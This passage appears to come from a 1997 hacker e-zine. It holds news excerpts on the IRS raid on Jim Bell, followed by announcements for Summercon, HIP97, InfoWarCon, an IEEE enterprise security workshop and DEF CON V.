  12591.      The raid stemmed from a six-month tussle
  12592. between Bell and the IRS, which began in November
  12593. 1996 when the 38-year old computer engineer
  12594. demanded a hefty tax refund and threatened to
  12595. convene his own "common-law court" if it was
  12596. refused. That grabbed the Feds' attention. (So
  12597. did the actions of the "Multnomah County Common
  12598. Law Court," which apparently met in January to
  12599. convict IRS agents and Attorney General Janet
  12600. Reno of "theft by deception.") In February, IRS
  12601. agents seized Bell's 1986 Honda as payment for
  12602. back taxes -- and found inside it a printout of
  12603. his "Assassination Politics" essay. "
  12604.  
  12605. [...]
  12606.  
  12607.      And it was, ultimately, a Federal magistrate
  12608. who signed the search warrant on 9:02 am on March
  12609. 28 at the request of the IRS. Jeffrey Gordon, an
  12610. inspector in the IRS' Internal Security Division,
  12611. details in an 10-page affidavit how he traced
  12612. Bell's use of allegedly fraudulent Social
  12613. Security Numbers, how he learned that Bell had
  12614. been arrested in 1989 for "manufacturing a
  12615. controlled substance," how he found out that Bell
  12616. possessed the home addresses of a handful of IRS
  12617. agents. Gordon's conclusion: Bell planned "to
  12618. overthrow the government." The IRS investigator
  12619. says in his affidavit that Bell's "essay details
  12620. an illegal scheme by Bell which involves plans to
  12621. assassinate IRS and other government officals...
  12622. I believe that Bell has begun taking steps to
  12623. carry out his Assassination Politics plan."
  12624.  
  12625. [...]
  12626.  
  12627.  
  12628.  
  12629. [=-------------------------------------------------------------------------=]
  12630.                         Security/Hacker Conferences
  12631. [=-------------------------------------------------------------------------=]
  12632.  
  12633.                   The 1997 Summer Security Conference
  12634.  
  12635.                             "SUMMERCON IX.V"
  12636.  
  12637.                 May 31st, 1997
  12638.  
  12639.                  Atlanta, GA
  12640.  
  12641.   This is the official announcement and open invitation to the nine
  12642. and 1/2 summer security conference, Summercon.  A long time ago,
  12643. Summercon was an invite-only hacker gathering held annually in St.
  12644. Louis, Missouri. Starting in 1995, SummerCon became an open event to
  12645. any and all interested parties:  Hackers, Phreaks, Pirates, Virus
  12646. Writers, System Administrators, Law Enforcement Officials,
  12647. Vigilantes, Neo-Hippies, Secret Agents, Teachers, Disgruntled
  12648. Employees, Telco Flunkies, Journalists, New Yorkers, Programmers,
  12649. Conspiracy Nuts, Musicians, Nudists, and Rug Sucking Wannabes.
  12650.   This con is going to be different than previous SummerCons.  First
  12651. off, there are two other major cons happening this summer, Defcon
  12652. and Beyond HOPE.  If you want to see good technical speakers, meet a
  12653. ton of hackers, and have a good time for a couple days, I suggest
  12654. you go to one or both of those cons.  DefCon information is at
  12655. http://www.defcon.org, Beyond HOPE info is at http://www.2600.com.
  12656.  
  12657.   So why have SummerCon at all?  Well, its a tradition, and most
  12658. of the people I talked to said we should have it anyways.  But,
  12659. because of the other 2 cons, I am really aiming just to make this
  12660. a fun weekend with yer friends in a new city, not a technical
  12661. hacker gala.  If you want to learn something, go to HOPE or
  12662. Defcon.  If you want to meet hackers, go to HOPE or DefCon.  If
  12663. you have to choose one con to go to this summer, this one should
  12664. NOT be it.  If you are already going to DefCon and HOPE, and still
  12665. have one more weekend you want to waste this summer, this is the
  12666. perfect place for you.
  12667.   If you are a criminal, if you are an anarchist, if you are
  12668. interested in pulling fire alarms or breaking things, don't come
  12669. to this con; we don't want you here and you wouldn't like us
  12670. anyhow.
  12671.   Why 9.5?  Well, SummerCon X should be this huge major security
  12672. conference, but with HOPE this year, we didn't think it was the
  12673. right year to do another one of those.  So, we'll have SummerCon X
  12674. next year, this one is just going to be a little party.
  12675.  
  12676.  
  12677. LOCATION
  12678.  
  12679. It will be held in Atlanta, GA, but we haven't actually figured
  12680. out WHERE in Atlanta.  That's because this is a pre-release of the
  12681. announcement, when this becomes official, we'll fill in the
  12682. details.
  12683.  
  12684.  
  12685. DIRECTIONS
  12686.  
  12687. Fly to Hartsfield International Airport, look for the hackers.
  12688.  
  12689.  
  12690. CONFERENCE INFO
  12691.  
  12692. It has always been our contention that cons are for socializing.
  12693. "Seekret Hacker InPh0" is never really discussed except in private
  12694. circles, so the only way anyone is going to get any is to meet new
  12695. people and take the initiative to start interesting conversations.
  12696.  
  12697. Because of this, the formal speaking portion of Summercon will be
  12698. held on one day, not two or three, leaving plenty of time for
  12699. people to explore the city, compare hacking techniques, or go
  12700. trashing and clubbing with their heretofore unseen online
  12701. companions.  Futhermore, except for maybe getting Mudge up on
  12702. stage to blow us all away with some cool technical details, it is
  12703. probably a pretty good bet that the speeches will end up being
  12704. boring, long, and a complete waste of time.  Don't come to
  12705. SummerCon to learn anything, because you won't.
  12706.  
  12707. If you are coming from out of town and want the full
  12708. hacker/tourist experience, we will be having a specially scheduled
  12709. 2600 meeting Friday, May 30th, at 6pm at Lenox Mall food court.
  12710. If you don't know how to get there, just ask, everyone in Atlanta
  12711. knows.
  12712.  
  12713. The formal conference will be held on Saturday, May 31st, 1997,
  12714. from 10am to 5pm (with a break for lunch).  There will be a
  12715. variety of speakers, panel discussions, demonstrations, and other
  12716. events that will hopefully keep everyone entertained; if not you
  12717. can always start drinking early.
  12718.  
  12719. No video or audio tapes will be allowed in the conference room.
  12720. No still photography will be permitted in the conference room
  12721. without prior permission of all those being photographed.
  12722. Violation of these policies will result in you being asked to
  12723. leave the conference.
  12724.  
  12725. There will be no selling of t-shirts, disks, firewalls, payphones,
  12726. etc. in or around the conference area without prior permission of
  12727. the organizers, and you WON'T get permission.  We can't keep you
  12728. from selling t-shirts in your hotel room, but we can keep you away
  12729. from the actual conference area, and we can probably get you
  12730. kicked out of the hotel for soliciting, and if we can, we will.
  12731. T-Shirt sales is where we make up all the money we spend putting
  12732. on the conference, and so we will be the only ones selling them.
  12733. If you want to sell t-shirts, go have your own con.
  12734.  
  12735. If you are interested in demoing or selling something, please
  12736. contact us at the address listed at the bottom.  If you offer us
  12737. money, we might let you do it.
  12738.  
  12739.  
  12740. SPEAKERS
  12741.  
  12742. The speakers list for Summercon X is still being finalized, but it
  12743. is sure to be much less interesting than previous years.  In fact,
  12744. right now we have NO speakers, and probably we won't until the day
  12745. of the con.  So again, don't come to summercon for the speakers.
  12746.  
  12747. If you are an expert in some aspect of computer, network, or telco
  12748. security and are interested in speaking at Summercon, please
  12749. contact us to discuss the possibility further at the address
  12750. listed at the end of this document.. We won't pay you, don't ask.
  12751.  
  12752. We are also going to be having short speeches by real hackers or
  12753. phreakers giving their own perspective on some issue or insight
  12754. into a new technology.  This is an open invitation for you hackers
  12755. to be heard; just provide us with a brief outline of the topic you
  12756. will be covering and the amount of time you will take (suggested:
  12757. 5 - 15 minutes) at the address listed below.
  12758.  
  12759.  
  12760. COSTS
  12761.  
  12762. Costs for SummerCon X are as follows, these are same rates as last
  12763. year, which I think is pretty good.  There will be NO refunds, and
  12764. if you annoy any of the organizers, we reserve the right to throw
  12765. you out, and you won't get your money back.
  12766.  
  12767.       Secret Service / FBI Rate: $500.00
  12768. Government / Institutional Rate: $ 80.00
  12769.        Hacker / Individual Rate: $ 20.00
  12770.  
  12771.  
  12772. Members of the United States Secret Service or Federal Bureau of
  12773. Investigations, and anyone that has in the past or currently is
  12774. providing information or services to the Secret Service or FBI are
  12775. required to pay the 'Secret Service / FBI Rate'.
  12776.  
  12777. Employees of a local, state, or federal government, members and
  12778. associates of any L.E.O., must pay the 'Government / Institutional
  12779. Rate'.
  12780.  
  12781. Anyone that does not fit into one of the above categories is
  12782. eligible for the 'Individual / Hacker Rate'.
  12783.  
  12784. Due to historical lack of interest, there will not be
  12785. pre-registration for the conference.  Registration will begin at
  12786. 10am the day of the conference, and will continue for the duration
  12787. of the conference or until the meeting facilities have reached their
  12788. capacity.  Since the latter is likely to occur, it is suggested you
  12789. don't oversleep.
  12790.  
  12791. No purchase orders, checks, money orders, foreign currency, stock
  12792. certificates, IOUs, or coins will be accepted for registration.
  12793. Secret Service agents, small unmarked bills only, please.
  12794.  
  12795. Bring money for t-shirts, they are cool, and this year we will make
  12796. enough for everyone (we hope).
  12797.  
  12798. HOTEL INFORMATION
  12799.  
  12800. Still working on this part.
  12801.  
  12802. The cost for a double occupancy room at the hotel is $XX.  There is
  12803. no special conference rate, there is no need to mention you are with
  12804. a conference at all, the people in reservations probably won't know
  12805. what you are talking about anyhow.
  12806.  
  12807. If the hotel is damaged in any manner, you are going to pay for it,
  12808. and you will probably end up in jail.  And even if you are lucky
  12809. enough to get away with it, the rest of the hackers staying at the
  12810. hotel will end up paying for it, and I'm sure that's going to make
  12811. you a well-liked and respected hacker, especially among some of the
  12812. bigger hackers who might feel tempted to inflict bodily harm on
  12813. someone who causes any damage to the hotel.  Please act responsibly,
  12814. don't drink and drive, chew all your food before you swallow, don't
  12815. swallow your gum, and recycle.
  12816.  
  12817. Anyhow, if you pull a fire alarm, if you damage a room, if you spit
  12818. on the floor, and any of the organizers, or any of their friends
  12819. find out, we are going to call the police and have you arrested.  In
  12820. fact, we are making a game out of it.  If anyone does any damage to
  12821. the hotel, we will give whoever tells us what person or persons did
  12822. it $100 in cash if we are able to get that person taken to jail.
  12823.  
  12824.  
  12825. CONTACTING SUMMERCON ORGANIZERS
  12826.  
  12827.  
  12828. You can contact the Summercon organizers through e-mail.  If you
  12829. haven't figured out e-mail yet, you probably shouldn't be coming to
  12830. Summercon.
  12831.  
  12832. As a final note, if you are planning on coming to Summercon, we
  12833. would appreciate you sending e-mail to us with the subject of "GOING
  12834. TO SCON" or something similar, just so that we have a rough idea of
  12835. how many people are going to show up.
  12836.  
  12837.  
  12838.     E-mail:     scon@2600.com
  12839.  
  12840. [=-------------------------------------------------------------------------=]
  12841.  
  12842.       --== Hacking In Progress ==--
  12843.  
  12844.     8th, 9th and 10th of August 1997
  12845.         Near Almere, Netherlands
  12846.  
  12847.           http://www.hip97.nl/
  12848.              info@hip97.nl
  12849.  
  12850.  
  12851.  
  12852. Welcome to the HIP announcement list. We are not
  12853. alone! More than 1600 (!) of you subscribed to this
  12854. list.
  12855.  
  12856. As you probably already know what HIP is about, this
  12857. announcement will focus on how you can help us and how
  12858. you can stay informed about HIP. Please read the FAQ
  12859. for more common questions.
  12860.  
  12861.  
  12862. What is HIP?
  12863. ------------
  12864.  
  12865. HIP is a place for hackers, artists, activists and
  12866. many, many others to network themselves, both in the
  12867. social and electronic sense of the word. HIP is a
  12868. do-it-yourself event. We, the organizers, will provide
  12869. the infrastructure, such as large tents, showers,
  12870. toilets and large amounts of reliable electrical power
  12871. and network connectivity. We'll also arrange for a
  12872. basic set of workshops and lectures, mainly dealing
  12873. with the social and political aspects of information
  12874. technology, security, Internet, access to technology,
  12875. new developments, cryptography and other 'hacker-
  12876. related' topics that come to mind. We are open to
  12877. suggestions for other fields of interest.
  12878.  
  12879. At this moment we are working on discussions and
  12880. workshops about smartcard security, Tempest attacks,
  12881. the SPAM threat, virtual communities, cryptography and
  12882. the law (Trusted Third Parties and Key Recovery), a
  12883. tele-presence experiment, activism on the Net, and
  12884. much more.
  12885.  
  12886.  
  12887. A do-it-yourself event?
  12888. -----------------------
  12889.  
  12890. We will absolutely need your help setting up
  12891. everything once we're there. HIPcamp will open on
  12892. August 5th, three days before HIP starts. If you
  12893. decide to join in that early expect some pretty
  12894. primitive circumstances. If you don't care about that,
  12895. or think that's the best part, you can help build
  12896. HIPnet and all other facilities.
  12897.  
  12898. We also urgently need you to think now about what it
  12899. is you would like to see and do at HIP. Just like
  12900. Hacking at the End of the Universe in 1993, we need
  12901. lots of people that have ideas for organizing their
  12902. own small part of HIP and the organizational talent to
  12903. do this without too much help from us.
  12904.  
  12905. One of the proven recipes for fun:
  12906.  
  12907. * GET a group of friends together in an early stage;
  12908. arrange how you're going to get there if you're far
  12909. away.
  12910.  
  12911. * THINK: Is there something you and your friends would
  12912. like to show others, discuss or do there?
  12913.  
  12914. * If so: TELL us about it, so we can coordinate, help
  12915. or announce things.
  12916.  
  12917. * Maybe BUY a nice big army surplus tent for almost
  12918. nothing.
  12919.  
  12920. * BRING lots of computers and other electronics.
  12921.  
  12922. * HOOK it all up once you get there.
  12923.  
  12924. * Check out what others have been doing and MEET nice
  12925. people, hang out, have fun!
  12926.  
  12927. Of course you can also come alone and have lots of
  12928. fun, and there will be a huge exhibition tent to set
  12929. up computers in. In another big tent there will be
  12930. near to a thousand chairs where you can listen to and
  12931. participate with panel discussions.
  12932.  
  12933. This event will be big, and as said, in this stage
  12934. we're looking for people to organize their own chaotic
  12935. little part of it. So don't mail us saying "put me on
  12936. the list, I want to be a volunteer" when you could say
  12937. "I'm xxx and I'd like to do yyy." Tell us what you
  12938. need us to do. We could put your workshop or whatever
  12939. it is you'd like to do in one of our announcements and
  12940. on the website, so people can communicate with you
  12941. beforehand. We could make sure there is enough room if
  12942. your project requires a lot of space. You name it.
  12943.  
  12944. You can use the newsgroup alt.hacking.in.progress to
  12945. find people to work with at HIP. Or you can use the
  12946. notice board at the website to search for someone to
  12947. travel with to HIP. Use it to ask for help or offer
  12948. some.
  12949.  
  12950. As the days get longer, there will be parts of the
  12951. overall organization that need coordination with
  12952. volunteers some time before the actual event (workshop
  12953. coordination, audiovisual stuff, registration-desk,
  12954. bar, network), but now is not yet the time.
  12955.  
  12956. This isn't going to be passive entertainment, we all
  12957. work together to make it work. Also: HIP is not the
  12958. event to buy a computer or get advice on buying one,
  12959. and there're not going to be any beginner courses on
  12960. using the Internet. If you're not into networking of
  12961. some sort, you'll think it's boring.
  12962.  
  12963. But if you're very technically inclined, part of some
  12964. remote community on the edge of the net, or if the
  12965. politics surrounding information technology are just
  12966. your thing, HIP is definitely made for you (and by
  12967. you, we hope).
  12968.  
  12969. HIPcamp will open on August 5th, three days before HIP
  12970. starts. If you decide to join in that early expect pretty
  12971. primitive circumstances. If you don't care about that,
  12972. or think that's the best part, you can help build HIPnet
  12973. and all other facilities.
  12974.  
  12975.  
  12976. How to stay in contact:
  12977. -----------------------
  12978.  
  12979. * Check out the website http://www.hip97.nl/
  12980. * Participate in alt.hacking.in.progress
  12981. * Read the FAQ on the website or the newsgroup
  12982. * Mail us at info@hip97.nl
  12983.  
  12984. Snailmail us at:
  12985.  
  12986. HIP
  12987. Postbus 1035
  12988. 1000 BA  Amsterdam
  12989. Netherlands
  12990.  
  12991. Tel. +31 20 5352081
  12992. Fax. +31 20 5352082
  12993.  
  12994.  
  12995. [=-------------------------------------------------------------------------=]
  12996.  
  12997.                        Defensive Information Warfare
  12998.                           And Systems Assurance
  12999.                     For Community, Company and Country
  13000.                            September 11-12, 1997
  13001.                      Sheraton Premier, Tysons Corner, VA
  13002.  
  13003.                               Call for Papers
  13004.  
  13005.  
  13006.          Sponsors:
  13007.          National Computer Security Association
  13008.          http://www.ncsa.com
  13009. and
  13010.          Winn Schwartau, Interpact, Inc.
  13011.          http://www.infowar.com
  13012.          http://www.info-sec.com
  13013.  
  13014.          Interested parties from government, law enforcement, academia,
  13015.          corporations and individuals from all nations are invited to submit
  13016.          papers or concepts for papers/presentation to be given at
  13017.          InfoWarCon 7 and published on http://www.infowar.com. The following
  13018.          Solutions Oriented topics are of special interest to the conference,
  13019.          but all papers will be considered:
  13020.  
  13021.          Case studies and real world successes are strongly encouraged.
  13022.  
  13023.          New technologies, systems, models and approaches to provide higher
  13024.          levels of information and systems assurance in a world where
  13025.          conflict has moved to Cyberspace. (Commercial, Law Enforcement and
  13026.          Government).
  13027.  
  13028.               Detect and Response Solutions
  13029.               Denial of Service Methods and Protection
  13030.               New Info-Sec Models for Local and Global Enterprises
  13031.               Demonstrations of New Emerging Technologies
  13032.               Encryption, Access Control, and Identification
  13033.  
  13034.          The technical and social convergence of the military, law enforcement
  13035.          and private sectors in the interest of National Security: defensive
  13036.          mechanisms, policies and cooperative efforts.. (Commercial and
  13037.          Government)
  13038.  
  13039.               Electronic Civil Defense Policies
  13040.               Alternative National Defense and Intelligence Mechanisms
  13041.               National vs. International Policy Development
  13042.               Educating Populations for Support
  13043.               Dealing with the Non-nation State Actor
  13044.  
  13045.          Cooperative legal, ethical and political means by which to interest,
  13046.          create and sustain international cooperation for the discovery and
  13047.          prosecution of computer crimes and cyber-terrorism. (Law enforcement
  13048.          and Government)
  13049.  
  13050.               Redefining the State
  13051.               Case Studies of Prosecution; Successful and Not
  13052.               Corporate Vigilantism and Self-Preservation
  13053.               Electronic Bills of Rights for Nation States
  13054.               United Nations of Cyberspace
  13055.               Legal Conundra
  13056.  
  13057.          Multi-media presentations, real-time scenarios or gaming, audience
  13058.          participation and highly interactive topics are more likely to be
  13059.          accepted. English is the conference language and all sessions will
  13060.          be unclassified.
  13061.  
  13062.          Submissions are to be in Word 6.0 or greater, Powerpoint, or other
  13063.          popular formats, sent by email to: betty@infowar.com
  13064.  
  13065.          Submission Deadline: May 16, 1997
  13066.          Acceptance Date: June 9, 1997
  13067.  
  13068.          For complete information on attendance:
  13069.          Registration: Conferences@ncsa.com
  13070.          Sponsorships: Sponsors@ncsa.com
  13071.  
  13072. Questions/Help:  betty@infowar.com
  13073.  
  13074. [=-------------------------------------------------------------------------=]
  13075.  
  13076.            Second International Workshop on Enterprise Security
  13077.  
  13078.                   June 18-20, 1997
  13079.             Massachusetts Institute of Technology (MIT),
  13080.             Cambridge, Massachusetts, USA
  13081.         
  13082.         Co-sponsored by the IEEE Computer Society and the
  13083.         Concurrent Engineering Research Center (CERC) at 
  13084.                West Virginia University
  13085.            
  13086.                           
  13087. ==============================================================================
  13088. Enterprises are increasingly dependent on their information systems to
  13089. support their business and workflow activities.  
  13090. There is a need for universal electronic connectivity to support 
  13091. interaction and cooperation between multiple  organizations.  
  13092. This makes enterprise security and confidentiality more important, 
  13093. but more difficult to achieve, as the multiple organizations may 
  13094. have differences in their security policies and may have to interact 
  13095. via an insecure Internet.  These inter-organizational enterprise systems 
  13096. may be very large and so tools and techniques are needed
  13097. to support the specification, analysis and implementation of security.
  13098.  
  13099. This workshop will focus on the problems and challenges relating to
  13100. enterprise security in inter-organizational systems. We aim to bring
  13101. together principal players from both the internetwork and enterprise
  13102. security community and will provide plenty of time for discussion.   Topics
  13103. to be addressed include:
  13104.  
  13105.     - Internet/Intranet security
  13106.         - Security infrastructure and protocols
  13107.     - Java Security
  13108.     - Specifying and Analyzing Enterprise Security Policy
  13109.         - Role-Based Access Control
  13110.         - Supporting enterprise security over the Internet
  13111.         - Conflicts and harmonization of inter- and intra-organizational
  13112.              Security
  13113.         - Distributed Database Security
  13114.         - Secure Transactions
  13115.         - Security in Workflow Process
  13116.         - Object-Oriented and CORBA Security
  13117.         - Secure Applications and Environments
  13118.         - Integrating Heterogeneous Security Environments
  13119.         - Managing inter-organizational Enterprise Security
  13120.     - Internet Security protocols
  13121.     - Security Algorithms
  13122.  
  13123. This workshop will be part of the IEEE Sixth Workshops on Enabling
  13124. Technologies: Infrastructure for Collaborative Enterprises (WET-ICE
  13125. 96) organized by the Concurrent Engineering Research Center (CERC)/
  13126. West Virginia University.
  13127.  
  13128. Important Dates:
  13129. ================
  13130. Papers Due            March 25, 1997
  13131. Panel Proposals            March 18, 1997
  13132. Authors notified of acceptance  April 21, 1997
  13133. Workshop            June 18-20, 1997
  13134. Camera Ready            June 28, 1997
  13135.  
  13136. INFORMATION FOR AUTHORS OF PAPERS TO BE INCLUDED IN THE PROCEEDINGS 
  13137. ===================================================================
  13138. Mail six copies of an original (not submitted or published elsewhere)
  13139. paper (double-spaced) of 3000-5000 words to one of the PC co-chairs. 
  13140. Include the title of the paper, the name and affiliation of each author, a
  13141. 150-word abstract and no more than 8 keywords. The name, position,
  13142. address, telephone number, and if possible, fax number and e-mail
  13143. address of the author responsible for correspondence of the paper must
  13144. be included.
  13145.  
  13146.  
  13147. An e-mail submission in postscript format will be accepted.
  13148.  
  13149. INFORMATION FOR PANEL ORGANIZERS 
  13150. ================================
  13151. Send six copies of panel proposals to one of the PC co-chairs. 
  13152. Include the title, a 150-word scope statement, proposed session chair and
  13153. panelists and their affiliations, the organizer's affiliation,
  13154. address, telephone and fax number, and e-mail address.
  13155.  
  13156. INFORMATION FOR AUTHORS OF POSITION PAPERS
  13157. ==========================================
  13158. Send six copies of position paper of 2-3 pages to one of the PC
  13159. co-chairs. Include the title of the paper, the name and affiliation of
  13160. each author, a 150-word abstract and no more than 8 keywords. The
  13161. name, position, address, telephone number, and if possible, fax number
  13162. and e-mail address of the author responsible for correspondence of the
  13163. paper must be included. An accepted position paper will get less
  13164. presentation time than full paper.  
  13165.  
  13166. Workshop General Chair and Organizer
  13167. ====================================
  13168.     Yahya Al-Salqan, Ph.D.
  13169.     Sun Microsystems
  13170.     
  13171.     alsalqan@eng.sun.com
  13172.  
  13173. Program Committee
  13174. =================
  13175.  
  13176. Program Committee Co-Chairs
  13177. ==========================
  13178.     Barbara C. Davis
  13179.     Director of Technology
  13180.     The Applied Knowledge Group
  13181.     231 Market Place, #315
  13182.     San Ramon, CA  94583-2785
  13183.     USA
  13184.  
  13185.     Tel. (888) 442-2785
  13186.     FAX  (510) 275-9695
  13187.     bcdavis@appliedknowledge.com
  13188.  
  13189.     Douglas Moughan
  13190.     National Security Agency, R23
  13191.     9800 Savage Rd.
  13192.     Ft. Meade, Maryland 20755-6000
  13193.     USA
  13194.  
  13195.     wdm@tycho.ncsc.mil
  13196.  
  13197.  
  13198.  
  13199. Workshop Program Committee (Partial List):
  13200. ==========================================
  13201. Abdallah Abdallah, Birzeit University, Jerusalem
  13202. Takasi Arano, NTT Corp, Japan
  13203. Germano Caronni, ETH-Zurich, Switzerland
  13204. Taher ElGamal, Netscape Corp., USA
  13205. Stephen Farrell, Software and Systems Engineering, Ireland
  13206. Takeo Hamada, Fujitsu, Japan
  13207. Matthias Hirsch, BSI (Federal Department of Security in the Information
  13208.     Technology-Germany
  13209. Cynthia L Musselman, Sandia Lab, USA
  13210. Lisa Pretty, Certicom Corp., Canada
  13211. Jeffrey Parrett, LLNL, USA
  13212. Sumitra Reddy, West Virginia University, USA
  13213. Nahid Shahmehri, Linkoping University, Sweden
  13214. Morris Sloman, Department of Computing: Imperial College, UK
  13215. Badie Taha, Al-Quds University, Jerusalem
  13216. Robert Thomys, BSI (Federal Department of Security in the Information
  13217.     Technology-Germany
  13218. Tatu Ylonen, SSH Communication Security, Finlad
  13219. Nick Zhang, EIT, USA
  13220.  
  13221.  
  13222.  
  13223. Internet Hot-line
  13224. ================= 
  13225.  
  13226. Information on Enterprise Security Workshop may be obtained through
  13227. the WWW using the URL http://www.cerc.wvu.edu/SECWK/ 
  13228.  
  13229. For more information on WET-ICE'97, visit the URL: 
  13230. http://www.cerc.wvu.edu/WETICE/WETICE97.html
  13231.  
  13232. One does not need to have a paper to attend the workshop.  
  13233.  
  13234. [=-------------------------------------------------------------------------=]
  13235.  
  13236.  
  13237. -----BEGIN PGP SIGNED MESSAGE-----
  13238.  
  13239. READ & DISTRIBUTE & READ & DISTRIBUTE & READ & DISTRIBUTE & READ & DISTRIB
  13240.  
  13241.             DEF CON V Convention Announcement #1.08 (04.09.97)
  13242.          July 11-13th @ the Aladdin Hotel and Casino in Las Vegas
  13243.  
  13244.     XXXXXXXXXXXXXXXXXXXXXXXX XX      DEF CON V Convention Announcement
  13245.     XXXXXXXxxxxXXXXXXXXXXXXXXX XX    DEF CON V Convention Announcement
  13246.     XXXXXXxxxxxxXXXXXX  X    X       DEF CON V Convention Announcement
  13247.     XXXXXxxxxxxxxXXXXXXX  X          DEF CON V Convention Announcement
  13248.     XXXXxxxxxxxxxxXXXX XXXXXXXXX     DEF CON V Convention Announcement
  13249.     XXXxxxxxxxxxxxxXXXXXXXXXX X      DEF CON V Convention Announcement
  13250.     XXxxxxxxxxxxxxxxXXXXXX  XX  X    DEF CON V Convention Announcement
  13251.     XXXxxxxxxxxxxxxXXXXXXXX          DEF CON V Convention Announcement
  13252.     XXXXxxxxxxxxxxXXXXXXXX X XX      DEF CON V Convention Announcement
  13253.     XXXXXxxxxxxxxXXXXXXXXXX  XX X    DEF CON V Convention Announcement
  13254.     XXXXXXxxxxxxXXXXXXXXX X          DEF CON V Convention Announcement
  13255.     XXXXXXXxxxxXXXXXXXXXXXXXXX       DEF CON V Convention Announcement
  13256.     XXXXXXXXXXXXXXXXXXXXXXXXXXXX X   DEF CON V Convention Announcement
  13257.  
  13258. READ & DISTRIBUTE & READ & DISTRIBUTE & READ & DISTRIBUTE & READ & DISTRIB
  13259.  
  13260.                     The only convention with free beer!
  13261.  
  13262. IN
  13263. SHORT:--------------------------------------------------------------------
  13264.  
  13265.         WHAT: Speakers and partying in Vegas for all hackers
  13266.         WHEN: July 11th - 13th
  13267.         WHERE: Las Vegas, Nevada @ the Aladdin Hotel and Casino
  13268.         COSTS: $30 in advance, $40 at the door
  13269.         MORE INFO: http://www.defcon.org or email info@defcon.org
  13270.  
  13271. IN
  13272. LONG:---------------------------------------------------------------------
  13273.  
  13274. It's time to brave Las Vegas again for DEF CON!  This is an initial
  13275. announcement and invitation to DEF CON V, a convention for the
  13276. "underground"
  13277. elements of the computer culture.  We try to target the (Fill in your
  13278. favorite word here): Hackers, Phreaks, Hammies, Virii Coders, Programmers,
  13279. Crackers, Cyberpunk Wannabees, Civil Liberties Groups, CypherPunks, 
  13280. Futurists, Artists, Criminally Insane, Hearing Impaired.  It seems that
  13281. books about the culture are becoming more popular, so of course reporters
  13282. are also welcome.  You won't be hurt.  I promise.  Just bring cash for
  13283. drinks.
  13284.  
  13285. So you heard about DEF CON IV, and want to hit part V?  You heard about the
  13286. parties, the info discussed, the bizarre atmosphere of Las Vegas and want
  13287. to
  13288. check it out in person?  You want to do weird shit _away_ from the hotel
  13289. where you can't get me in trouble?  You have intimate knowledge of the
  13290. SWIFT
  13291. network, and want to transfer millions of dollars to the Def Con account?
  13292. Then you're just the person to attend!
  13293.  
  13294. What DEF CON is known for is the open discussion of all ideas, the free 
  13295. environment to make new contacts and the lack of ego.  More people have
  13296. made
  13297. great friends at DEF CON over the years than my brain can conceive of.  DEF
  13298. CON is also known for letting the "Suits" (Government / Corporate) mix with
  13299. everyone and get an idea of what the scene is all about.  The media makes
  13300. an
  13301. appearance every year and we try to educate them as to what is really going
  13302. on.  Basically it has turned into the place to be if you are at all
  13303. interested in the computer underground.
  13304.  
  13305. [Note]----------------------------------------------------------------------
  13306. -
  13307.  
  13308. Now last year over 800 people showed up and threw my whole program for a
  13309. loop.  I was thinking 500+ people, but when 800 showed up it got a little
  13310. crazy for the planning staff.  This year I am planning for 1,000.  This
  13311. way I will be able to accommodate everyone and have less logistical screw-
  13312. ups.
  13313.  
  13314. I would also like to apologize to everyone last year who had temporary
  13315. badges for half the convention, etc.  I will do all that is possible for 
  13316. maximum coolness, and minimum hassles.   Anyway, enough of my shit, on with
  13317. the details.
  13318.  
  13319. [End
  13320. Note]-------------------------------------------------------------------
  13321.  
  13322. SPEAKERS:-------------------------------------------------------------------
  13323. -
  13324.  
  13325. Over the years DEF CON has had many notable speakers.  This year there will
  13326. be more of an emphasis on technical talks.  There will be a separate
  13327. smaller
  13328. room for break-out sessions of more specific topics.  While the talks of
  13329. the
  13330. past have been great, it always seems some tech people drop out and general
  13331. talks fill in.  I will load it tech heavy so when people do drop out there
  13332. will still be plenty of meat left for the propeller heads.
  13333.  
  13334. There will be some speaking on Friday evening before Hacker Jeopardy, all
  13335. day Saturday and Sunday.  About 20 people will speak, plus smaller tech 
  13336. sessions.  If you are interested in speaking or demonstrating something
  13337. please contact me.
  13338.  
  13339. Current speakers include:
  13340.  
  13341. [> If you are interested in speaking please contact me at 
  13342.    dtangent@defcon.org
  13343.  
  13344. [> Nihil - Windows NT (in)security.  The challenge response system, NT 5.0
  13345.    Kerb security services, man in the middle attacks on domain controllers.
  13346.    This will be a more technical discussion of NT related security.
  13347.  
  13348. [> Koresh - Hacking Novell Netware.
  13349.  
  13350. [> Yobie - Emerging infrastructures made possible by Java.  He will describe
  13351.    and talk about Java as the foundation for a global, object-oriented
  13352.    distributed network.  New concepts and computing paradigms will discussed
  13353.    as well as applications for both applications development or straight-out
  13354.    hacking.   
  13355.  
  13356. [> Mudge - System Administrator for L0pht Heavy Industries.  He will present
  13357.    a technical talk on something cool.
  13358.  
  13359. [> Clovis - From the Hacker Jeopardy winning team.  He will discuss issues
  13360.    with security and networked object systems, looking at some of the
  13361.    recent security issues found with activeX and detail some of the
  13362.    potentials and problems with network objects. Topics will include
  13363.    development of objects, distributed objects, standards, activex, corba,
  13364.    and hacking objects.
  13365.  
  13366. [> Bruce Schneier - Author of Applied Cryptography and the Blowfish
  13367.    algorithm - Why cryptography is harder than it looks.
  13368.  
  13369. [> FBI Computer Crime Squad - They will make another appearance this year
  13370.    only if I can bribe them with the audio from last years convention.  Can
  13371.    I do it in time?
  13372.  
  13373. [> Richard Thieme - "The Dynamics of Social Engineering: a cognitive map for
  13374.    getting what you need to know, working in networks, and engaging in
  13375.    espionage quietly; the uses of paranoia, imagination, and grandiosity
  13376.    to build the Big Picture.
  13377.  
  13378. [> G. Gillis - Packet Sniffing:  He will define the idea, explain everything
  13379.    from 802.2 frames down to the TCP datagram, and explain the mechanisms
  13380.    (NIT, bpf) that different platforms provide to allow the hack.
  13381.  
  13382. [> Seven - What the feds think of us.
  13383.  
  13384. [> RK - Electronic countermeasures, counter espionage, risk management.
  13385.    Should include a demonstration of electronic countermeasures equipment
  13386.    as well as a talk on what works, what doesn't, and the industry.
  13387.  
  13388. [> Tom Farley the Publisher of the "Private Line" journal, and Ken
  13389.    Kumasawa of TeleDesign Management - Toll Fraud in the 90s: Two
  13390.    perspectives. An overview of phreaking from a hackers point of view and
  13391.    an industry/security consultants point. 
  13392.  
  13393. [> Michael Quattrocchi - The future of digital cash and a presentation about
  13394.    the modernization and state of register-level debit cards; in effect
  13395.    currently throughout Canada.
  13396.  
  13397. [> Ira Winkler - NCSA - Real life case studies of successful and
  13398.    unsuccessful corporate espionage.  
  13399.  
  13400.  
